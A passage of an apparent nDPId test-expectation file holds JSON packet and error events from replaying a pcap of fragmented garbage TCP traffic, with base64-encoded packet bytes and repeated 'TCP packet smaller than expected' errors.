expected","datalink":1,"packet_id":63,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024698553} -00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":63,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":64,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024698567} -00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":64,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":65,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024698579} -00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":65,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":66,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024698591} -00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":66,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":67,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024698603} -00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":67,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":68,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024698622} -00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":68,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":69,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024698634} -00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":69,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":70,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024698646} -00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":70,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":71,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024698657} -00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":71,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":72,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024698669} -00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":72,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":73,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024698718} -00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":73,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":74,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024698725} -00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":74,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":75,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024698733} -00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":75,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":76,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024698740} -00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":76,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":77,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024698748} -00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":77,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":78,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024698755} -00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":78,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":79,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024698762} -00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":79,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":80,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024698770} -00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":80,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":81,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024698777} -00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":81,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":82,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024698792} -00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":82,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":83,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024698804} -00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":83,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":84,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024698815} -00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":84,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":85,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024698826} -00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":85,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":86,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024698838} -00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":86,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":87,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024698850} -00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":87,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":88,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024698861} -00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":88,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":89,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024698873} -00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":89,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":90,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024698884} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":90,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":91,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024698896} -00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":91,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAj9zUj83NDgzOTYpKComXiU="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":92,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024698911} -00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":92,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":93,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024698923} -00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":93,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":94,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024698935} -00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":94,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgukAGRPcKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":95,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024698946} -00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":95,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvEAGRPUKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":96,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024698958} -00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":96,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvkAGRPMKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":97,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024698970} -00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":97,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwEAGRPEKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":98,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024698990} -00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":98,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwkAGRO8KAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":99,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024699002} -00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":99,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxEAGRO0KAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":100,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024699014} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":100,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxkAGROsKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":101,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024699025} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":101,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgyEAGROkKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":102,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024699036} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":102,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgykAGROcKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":103,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024699048} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":103,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzEAGROUKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":104,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024699061} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":104,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzkAGROMKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":105,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024699073} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":105,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0EAGROEKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":106,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024699085} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":106,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0kAGRN8KAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":107,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024699100} 